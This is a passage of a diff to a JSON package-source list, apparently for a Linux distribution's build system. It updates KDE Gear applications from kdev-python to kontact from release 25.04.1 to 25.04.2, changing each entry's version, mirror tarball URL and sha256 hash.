-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kdev-python-25.04.1.tar.xz",
-    "hash": "sha256-ORyrzlRy7QqfdCRUQ5SIZk+J2bUnxJ1gIinE8Nqce74="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kdev-python-25.04.2.tar.xz",
+    "hash": "sha256-AF7henR5A+wILh2PZ2SiSs6EboQcyQrnwkC1uv0iKU0="
   },
   "kdevelop": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kdevelop-25.04.1.tar.xz",
-    "hash": "sha256-HAHAxVyOhbcuFEBUHQeEUdQppJN9Q5wNTFH6nx0DbjY="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kdevelop-25.04.2.tar.xz",
+    "hash": "sha256-lG8xT3NZNrlOEpi7bKris6ilwE8KmKE8Hv/H2dgm8Es="
   },
   "kdf": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kdf-25.04.1.tar.xz",
-    "hash": "sha256-hTieoYAPR4ED8IEJgqejMYFtp68FVOiUEOe70q0CJq8="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kdf-25.04.2.tar.xz",
+    "hash": "sha256-PYaGYVidrsS/vV5ghAfGkxwL1SBvgVuojoBZgUrZuIs="
   },
   "kdialog": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kdialog-25.04.1.tar.xz",
-    "hash": "sha256-pBmEq/TeVVaAJfbEXE0KlIpjdCdXNpV7Yr6gmORJ9is="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kdialog-25.04.2.tar.xz",
+    "hash": "sha256-X6fIVrc3+QTyEyoXZRXigdXaRnBza6KI4a656mUQKc0="
   },
   "kdiamond": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kdiamond-25.04.1.tar.xz",
-    "hash": "sha256-g63WShnBkcUNuZkjtGOneaP8KVr0kRRKhtV2/J7rSQs="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kdiamond-25.04.2.tar.xz",
+    "hash": "sha256-h3kWpRe7Ej97VSJ64YGqGq2Dxp5rmbvgIdDH/cyNfY8="
   },
   "keditbookmarks": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/keditbookmarks-25.04.1.tar.xz",
-    "hash": "sha256-3Ry9KGzGXic7mzLMvx1YKJdrVxBqi+kLIkmMWvWYnmg="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/keditbookmarks-25.04.2.tar.xz",
+    "hash": "sha256-Y55e/2u5YhlQiMc2Dq+za/mq861wDRYMBl0mP02dgjM="
   },
   "keysmith": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/keysmith-25.04.1.tar.xz",
-    "hash": "sha256-t1Ot5d8Xlc2H70VGGJlxBMZEtTYzKfEXuxJMudYGKIU="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/keysmith-25.04.2.tar.xz",
+    "hash": "sha256-q9qVQj0bZtM0pXI6cfJcJ0CIUm3CW9Qqv8vcf/6DAPI="
   },
   "kfind": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kfind-25.04.1.tar.xz",
-    "hash": "sha256-rEMeDfFCzChze5qw0zrDfTLUtaPD/MDg9lD6ZUHJDyI="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kfind-25.04.2.tar.xz",
+    "hash": "sha256-8oKy0ySqnWEFRm+y8F/3s0Sj3WoQv4IZ4YLEmPKsmNo="
   },
   "kfourinline": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kfourinline-25.04.1.tar.xz",
-    "hash": "sha256-rgf0HT3DKBLssVNiO3om6+u+sJYBwimGBeh5ChVsPtw="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kfourinline-25.04.2.tar.xz",
+    "hash": "sha256-2kLqtEZ/Bm2Xg9+1TWS651xHBGcXvfur0SIykfSVd4Q="
   },
   "kgeography": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kgeography-25.04.1.tar.xz",
-    "hash": "sha256-tyPdTAf6CPhluYQRuMxN+9kZhWzG9u9cI2H7hsOdjyA="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kgeography-25.04.2.tar.xz",
+    "hash": "sha256-qDW+rFahTiBYUpQY0Gj5UxfmJvjYELm40XsktsZ2/vc="
   },
   "kget": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kget-25.04.1.tar.xz",
-    "hash": "sha256-lEO9eNBD3/rCBV7XXNk4KnsIA6vlBUMOtnBdFQuRNHE="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kget-25.04.2.tar.xz",
+    "hash": "sha256-xsnRB73/vC0ZhV8pjFY0o0GoLWyj4bQwzmCMfBDVgME="
   },
   "kgoldrunner": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kgoldrunner-25.04.1.tar.xz",
-    "hash": "sha256-XZPYWM2FJvQenFB9Ox4lTEX4oxob8xikZt8YwwgCHoI="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kgoldrunner-25.04.2.tar.xz",
+    "hash": "sha256-GkiUGSDCUEvzUiURBZOkw85qW3rbizZZl0W9ZkpoXcI="
   },
   "kgpg": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kgpg-25.04.1.tar.xz",
-    "hash": "sha256-xKtlHZ2kEmbZlkGP9zJ4gi5dp001YKXXZiZt+qYfcyA="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kgpg-25.04.2.tar.xz",
+    "hash": "sha256-qtnDIuPwfeVbyf1aVcZVugr9skyyUAh5t8r8Hx7gO+0="
   },
   "kgraphviewer": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kgraphviewer-25.04.1.tar.xz",
-    "hash": "sha256-jzqZlrZ//66m5zWCZIg5s2atmS9uzyEqndi8c1RSlIU="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kgraphviewer-25.04.2.tar.xz",
+    "hash": "sha256-SEv4Eyoey+wKn88FJ0uwgIHm0oiIKpg16GyzF3p3Qr8="
   },
   "khangman": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/khangman-25.04.1.tar.xz",
-    "hash": "sha256-xbxVbQ677INjWslNiKml35VImfBg5CzywoTMw2HDP/c="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/khangman-25.04.2.tar.xz",
+    "hash": "sha256-jx6XxMZriopAFQ5m8wD5reL8F+oiKklTDI4ZCl1PTh0="
   },
   "khealthcertificate": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/khealthcertificate-25.04.1.tar.xz",
-    "hash": "sha256-mkJcwe9bh/FfN5DHRceS0XebqFu92EDh+ltl0AU+L08="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/khealthcertificate-25.04.2.tar.xz",
+    "hash": "sha256-k8SkDy3W6UhyoTOrUJt6KXKmxCOMjYxhb7tj6Ui6nLM="
   },
   "khelpcenter": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/khelpcenter-25.04.1.tar.xz",
-    "hash": "sha256-xAn2ApE3RycAxn+pnoFpoT9GY/3BXaobPQLY01gzQs0="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/khelpcenter-25.04.2.tar.xz",
+    "hash": "sha256-Wsmsq9Ynh+4x+ImJF2WFM+yhdfNhmDJfCdN0gCrL7uo="
   },
   "kidentitymanagement": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kidentitymanagement-25.04.1.tar.xz",
-    "hash": "sha256-m8PVfaklSiH9//HPMmzhZ4odieN9x+TK1/6nMnpdxT4="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kidentitymanagement-25.04.2.tar.xz",
+    "hash": "sha256-ifcA+re8z6gEp/iz80GPBI7zw6qXs24QK+up4SJuBF0="
   },
   "kig": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kig-25.04.1.tar.xz",
-    "hash": "sha256-gJN9pSrGm3pisMKp2gvxji6x2qEhLDmqBCJKMSDTQBA="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kig-25.04.2.tar.xz",
+    "hash": "sha256-Hi3njHbTiGPJ2g3vICWPQe1aeV3A8wc+BgCCYE6Advs="
   },
   "kigo": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kigo-25.04.1.tar.xz",
-    "hash": "sha256-OQaeK3rXyr/89CHrdYGkQVP16uLyYf+OK/MkucAxWyo="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kigo-25.04.2.tar.xz",
+    "hash": "sha256-/It27PayRKxAYBL4XaetwHnz1vdCzoEJPu82i/hFAGs="
   },
   "killbots": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/killbots-25.04.1.tar.xz",
-    "hash": "sha256-wRgt3W+4LhUzBO15nNWHkLcevauGrk9nM7ypcEGpKz8="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/killbots-25.04.2.tar.xz",
+    "hash": "sha256-eQwxYwBqzEhIHWzVDSpUc9em8bOnCVymSClpZ3DcIvw="
   },
   "kimagemapeditor": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kimagemapeditor-25.04.1.tar.xz",
-    "hash": "sha256-/nilNzUBuKur4FAqPUI0NaKIUCcSfPgPpvt88jxxSSk="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kimagemapeditor-25.04.2.tar.xz",
+    "hash": "sha256-U+nvufGAfdn+63hZAwHiYH+DFlbIB9U4UsFOZ5ZNjY0="
   },
   "kimap": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kimap-25.04.1.tar.xz",
-    "hash": "sha256-ghlPdteCn4yFrd8LgbNlqdEfabiFLfuT7SzF499FIkE="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kimap-25.04.2.tar.xz",
+    "hash": "sha256-fSqjYKnDG6YbpAyUYCFKLva/6jXlZRcp+FWiAokmZ74="
   },
   "kio-admin": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kio-admin-25.04.1.tar.xz",
-    "hash": "sha256-2/RhgXTc6zsLpRpPMborc0oOdFN24yRWQKGeeDe+P8M="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kio-admin-25.04.2.tar.xz",
+    "hash": "sha256-x6foaTlqemh3ChPFsRXHEWnqSuhOHrj3PEAgNhJDykc="
   },
   "kio-extras": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kio-extras-25.04.1.tar.xz",
-    "hash": "sha256-+Cd/v4qkclkmslLi3gNnZ3ZzyNtYWl73vSZ2DTxTRFg="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kio-extras-25.04.2.tar.xz",
+    "hash": "sha256-02wKiCfwkAfSV+9MoG608hI9t6OCVbo3/gdIq2Odf5k="
   },
   "kio-gdrive": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kio-gdrive-25.04.1.tar.xz",
-    "hash": "sha256-0AiT68GJkzd3F97VSVgZIorQrg+Q8OH8pLaa91dmfFg="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kio-gdrive-25.04.2.tar.xz",
+    "hash": "sha256-anNSK6H+giTv64rcalspAtVZKHBuVSCtS0o7u08RTPA="
   },
   "kio-zeroconf": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kio-zeroconf-25.04.1.tar.xz",
-    "hash": "sha256-UGznwnc8/COXIzWyIUwcmtw5F4ZGmgUNrw42hZFshCg="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kio-zeroconf-25.04.2.tar.xz",
+    "hash": "sha256-0HW9qtxFjou5g813sn6CcYiep9uOHN8LP6usipIAulw="
   },
   "kirigami-gallery": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kirigami-gallery-25.04.1.tar.xz",
-    "hash": "sha256-u9rFtTrnPoK3nvl25cTzNvKtHoKq8AfidjWwRI4EtBM="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kirigami-gallery-25.04.2.tar.xz",
+    "hash": "sha256-+VjlCzl9fXvaF0hCrcLw+Ot48wiJOrDadMlinc/Jp/c="
   },
   "kiriki": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kiriki-25.04.1.tar.xz",
-    "hash": "sha256-Ip1urLyWQDM6Woa38BFrwzGI56ZxX1YzM7sX6p2sYn4="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kiriki-25.04.2.tar.xz",
+    "hash": "sha256-YSemlcWQ/qSXbuszQOTCwSh23kZpZwDRznbAlxqG3R8="
   },
   "kiten": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kiten-25.04.1.tar.xz",
-    "hash": "sha256-z8LUnIjRrl5r1UyVockhL/ekgWks2WRv69oqRwBmkmU="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kiten-25.04.2.tar.xz",
+    "hash": "sha256-zMiHCKbwdD55UoddYkTzPA06NXCLEUkCCX7ma7WUaPQ="
   },
   "kitinerary": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kitinerary-25.04.1.tar.xz",
-    "hash": "sha256-6U1HeZhhA1zAazo0Ivk3ZxgtgrbKhVGIm+6YQUcsmaA="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kitinerary-25.04.2.tar.xz",
+    "hash": "sha256-duOjQGg29jGzBOlOj+0QsZxSzAzBRljROezPQSjDU28="
   },
   "kjournald": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kjournald-25.04.1.tar.xz",
-    "hash": "sha256-/ld5IMrCupUEq5kjP3iywjNTy3q3oaOs7qNCeafByIY="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kjournald-25.04.2.tar.xz",
+    "hash": "sha256-K8MgzXF0t0Vnctf5HPcUk+oPaniG7GLzRwVMDU9NDUI="
   },
   "kjumpingcube": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kjumpingcube-25.04.1.tar.xz",
-    "hash": "sha256-Z5NV2mTgXIk1CCrfl6IVAhM8v+ZmsflGnsIEBzlkKB4="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kjumpingcube-25.04.2.tar.xz",
+    "hash": "sha256-d1hKNpsytpFHSKz+gLORcYhP4lH0kcOc0metmgfs+5Q="
   },
   "kldap": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kldap-25.04.1.tar.xz",
-    "hash": "sha256-4jwK8DaEWP1dRpbzqPP5I4LsT29ONko94U0rvgF+r7A="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kldap-25.04.2.tar.xz",
+    "hash": "sha256-sEgzLgwFxJB0cB6rk/K1m161bjosGV+3GJeWdHRqrmI="
   },
   "kleopatra": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kleopatra-25.04.1.tar.xz",
-    "hash": "sha256-YfLEc1UesBy64rMA4nS1YuwZAU7j90xO6E81ZFRGuJs="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kleopatra-25.04.2.tar.xz",
+    "hash": "sha256-0VXEFhA/rRc8Nh6hDz6h9hQil8xb41mOmwYkYTNqNHY="
   },
   "klettres": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/klettres-25.04.1.tar.xz",
-    "hash": "sha256-5eKxQAh7GabtqK1oiLcUIwzGt8bUQ0+eQzSZJ3RGHDY="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/klettres-25.04.2.tar.xz",
+    "hash": "sha256-+Zfo6ziXD3P724qlbtesQyBG5JqHAfQ5kIQki4w72tw="
   },
   "klickety": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/klickety-25.04.1.tar.xz",
-    "hash": "sha256-TCv/4tJltmAm42drq62o8gWQdgrRVJGH8Ln1o/zm6xY="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/klickety-25.04.2.tar.xz",
+    "hash": "sha256-TbH2zg94I6EKBtUa5Jkx+mJoM/yfAztMXzTMOIcKCmY="
   },
   "klines": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/klines-25.04.1.tar.xz",
-    "hash": "sha256-o8XFaPjJLYXW3XMrWHhtvMDAv4UmmLWuR4Yl9MdcDWI="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/klines-25.04.2.tar.xz",
+    "hash": "sha256-PfN6KQMEWtD6wBHNjRCw9EltjZlObufKuOUqzi/W9IM="
   },
   "kmag": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kmag-25.04.1.tar.xz",
-    "hash": "sha256-N7ejjsF4pVHoJF1Vm26EI6g8Rxben0HwAAvukWJFamA="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kmag-25.04.2.tar.xz",
+    "hash": "sha256-GvbF0bCTusFoWGEzPAk+rzUcR/e6PDS375j+uk+rYfk="
   },
   "kmahjongg": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kmahjongg-25.04.1.tar.xz",
-    "hash": "sha256-VerdIJyQ3zrUCp4Zgsa18UHeogAtqTucx2RrSXKiHck="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kmahjongg-25.04.2.tar.xz",
+    "hash": "sha256-Y36SRNOWSvw1eoT5Rf3cNWGllF+cLgiUnVF20HYdy0c="
   },
   "kmail": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kmail-25.04.1.tar.xz",
-    "hash": "sha256-++e3D2X/1CpUoluJDsw8iL0FB8OY1Nk4/RMB0G1j13c="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kmail-25.04.2.tar.xz",
+    "hash": "sha256-zLbVmYxklZRUh5wbBZx/4s0dwFuI9pj8LGDmHe7hlDM="
   },
   "kmail-account-wizard": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kmail-account-wizard-25.04.1.tar.xz",
-    "hash": "sha256-Cj7B9obQxnSCKIEbd60CxZ6Z8ViKefYdcHPIb/TnQec="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kmail-account-wizard-25.04.2.tar.xz",
+    "hash": "sha256-Etdi+bDcxnv+nSbgvE2twM9KDPPRQoTOREHEXWPHbM4="
   },
   "kmailtransport": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kmailtransport-25.04.1.tar.xz",
-    "hash": "sha256-80eu5Krfz+MPO/Fk7kCcmMp4BIU4fpF/R6DTyHxG4cw="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kmailtransport-25.04.2.tar.xz",
+    "hash": "sha256-Me7uiJLNUmXfFt22/d0jmjK+XI5Ba5GXkrYR0VnUMR4="
   },
   "kmbox": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kmbox-25.04.1.tar.xz",
-    "hash": "sha256-c3QABoBnz5HzgxHb/HVKMlwaIsAqt86X+uso8G8D1co="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kmbox-25.04.2.tar.xz",
+    "hash": "sha256-40g5b7jx3hcp0EFRFrBfYiDw67RCjEYHuYtW7dMh8ao="
   },
   "kmime": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kmime-25.04.1.tar.xz",
-    "hash": "sha256-igOa3GygKnCUmKgagcvx0o0nUlrjfOcUfUNJsNN6UB0="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kmime-25.04.2.tar.xz",
+    "hash": "sha256-YQLBGRo0R1r0Y/eG50B+6fMou3X5OhI15Rqz72JQDTo="
   },
   "kmines": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kmines-25.04.1.tar.xz",
-    "hash": "sha256-vLU5CieDYxyaIEbujUbiCO02Q3tBhsX71mEqNQX/FUY="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kmines-25.04.2.tar.xz",
+    "hash": "sha256-AblEqfj4wDh49qrB1ramvKaVDtVaGQlCYSiqpytDZ38="
   },
   "kmix": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kmix-25.04.1.tar.xz",
-    "hash": "sha256-so9EjfVX4bD/3yje2xiOZpeUAzFE7ep4nvBeg70wA5g="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kmix-25.04.2.tar.xz",
+    "hash": "sha256-hnQWCire1iOcwvZlklpu//vjwm4a+S+dg/FejlvGzQ8="
   },
   "kmousetool": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kmousetool-25.04.1.tar.xz",
-    "hash": "sha256-PcPxXEQFKJ9sFZ+1W3YslLVE4KB/+DAAab2C+gOg4bI="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kmousetool-25.04.2.tar.xz",
+    "hash": "sha256-Q8TNy6F2DN7asJOcdA8Bff+YNQr1FPKvkzd130WFrKQ="
   },
   "kmouth": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kmouth-25.04.1.tar.xz",
-    "hash": "sha256-Ih/Is0e/r1P41aDFcOhUdGKEfzM8jO+d9Qyu6Zvs7yk="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kmouth-25.04.2.tar.xz",
+    "hash": "sha256-3D3k1KJO01LFSILPrgQWNZrY41unFj7z0qpL+4K8jlc="
   },
   "kmplot": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kmplot-25.04.1.tar.xz",
-    "hash": "sha256-MuMhC5z3z6mqM0AQKvfXF5e4Wh2g5cYLH31v7177fMk="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kmplot-25.04.2.tar.xz",
+    "hash": "sha256-umnMlPMCSsZ3Pdz4aXNGnj9yZjid2Z9r+AzqPbO653w="
   },
   "knavalbattle": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/knavalbattle-25.04.1.tar.xz",
-    "hash": "sha256-Ox98zW4o709kY6imlkoMZRBZkPY29k43mGd1UILBy4c="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/knavalbattle-25.04.2.tar.xz",
+    "hash": "sha256-c/7wgb2wzWz3l9KAdgVZ0yn9ov13tnDZ3A30vSP39z0="
   },
   "knetwalk": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/knetwalk-25.04.1.tar.xz",
-    "hash": "sha256-CPX0cUMaCr/AOBT8dXYxFLMYrkPaeNk8VbSmw+Sc1go="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/knetwalk-25.04.2.tar.xz",
+    "hash": "sha256-EIA1GxhUXHO3EGGoSWMqDUEsz7iI7nZhPNQ+7Fl1DR0="
   },
   "knights": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/knights-25.04.1.tar.xz",
-    "hash": "sha256-40PgImv23y2+3MCa0SE4knoxAcj4mPewClcUpENlZr4="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/knights-25.04.2.tar.xz",
+    "hash": "sha256-tGPxQpnk7rtfF4BdMzXEpAuEKYwl3YPB5Eq3WDHssu8="
   },
   "koko": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/koko-25.04.1.tar.xz",
-    "hash": "sha256-Jmg3hvAnLRomybev9PjRw6qChEqno6mzEnf3n8YBrOo="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/koko-25.04.2.tar.xz",
+    "hash": "sha256-xaDhc9FotCjkVRz8TQnNZXxG8bJjOWz/OH+Ao+85LSk="
   },
   "kolf": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kolf-25.04.1.tar.xz",
-    "hash": "sha256-mxj/CbtnJIxGxyvsWZe38dSlzgeAvXq/E7E35rOzyEA="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kolf-25.04.2.tar.xz",
+    "hash": "sha256-EJyr9KaIFb2pauyfH8IdiSsWVB14IFs69/cfIn/0suA="
   },
   "kollision": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kollision-25.04.1.tar.xz",
-    "hash": "sha256-9wNG4Sc8veU6kQPbYD3i1kAjV3oDPdwdyCmaa78jsC8="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kollision-25.04.2.tar.xz",
+    "hash": "sha256-gv6usFPygqO8CzlJpP0Jag+u2KZFNcKOvl+iKlroOgY="
   },
   "kolourpaint": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kolourpaint-25.04.1.tar.xz",
-    "hash": "sha256-rFaRQh3MgWsoX6eqT6xjeML1YZw60SX1NonUXjlEVbU="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kolourpaint-25.04.2.tar.xz",
+    "hash": "sha256-dOSV2MEC/iBrxOFz/lMTSkOXoNe1LOBiia8hgFuqUhA="
   },
   "kompare": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kompare-25.04.1.tar.xz",
-    "hash": "sha256-waZee0dHin6RPQz3UQN7gUBnx0/SNHibYQpzwy8Dhwo="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kompare-25.04.2.tar.xz",
+    "hash": "sha256-ujxFmgH7f+kvF6Z0YnjrYQlXxJwQyzEWAbiMFxQ1bDM="
   },
   "kongress": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kongress-25.04.1.tar.xz",
-    "hash": "sha256-AmnGxokJTnWom/NRxugaG4Yqaoenx+9sC52qOsqqM8w="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kongress-25.04.2.tar.xz",
+    "hash": "sha256-glDewDOwCLADnAmsyOfXG+TNaO8tg0Byb0K6kqOgagY="
   },
   "konqueror": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/konqueror-25.04.1.tar.xz",
-    "hash": "sha256-1awO+AqkDtcyID9gB+gm4YxMXcWNo+A8IVUZGDfLqjc="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/konqueror-25.04.2.tar.xz",
+    "hash": "sha256-c9mgvHCwKOTydLBPfovwlfpakLNCpMZCSzdp+S1TLl0="
   },
   "konquest": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/konquest-25.04.1.tar.xz",
-    "hash": "sha256-N0BQ2pFdU1Z45V1CVeLXkPR2FSZALfLJJ0Vz7lHRz2E="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/konquest-25.04.2.tar.xz",
+    "hash": "sha256-fEdwkMbv/wMbt8LckjqDJWu+p3xv0xfZF7Vfe5FjpEo="
   },
   "konsole": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/konsole-25.04.1.tar.xz",
-    "hash": "sha256-lh7foKNFD+BhcqMKe3LPgQlWqItWKEcgL+uHBgaOdF4="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/konsole-25.04.2.tar.xz",
+    "hash": "sha256-ac1sfoTLyz30EifNMRVJilqt3KZkGAKJjXnltORnu/s="
   },
   "kontact": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kontact-25.04.1.tar.xz",
-    "hash": "sha256-5uaecUTM1uyN0eacKGAdCiA5pSPhZ8mYXT20+BzuexM="
+    "version": "25.04.2",
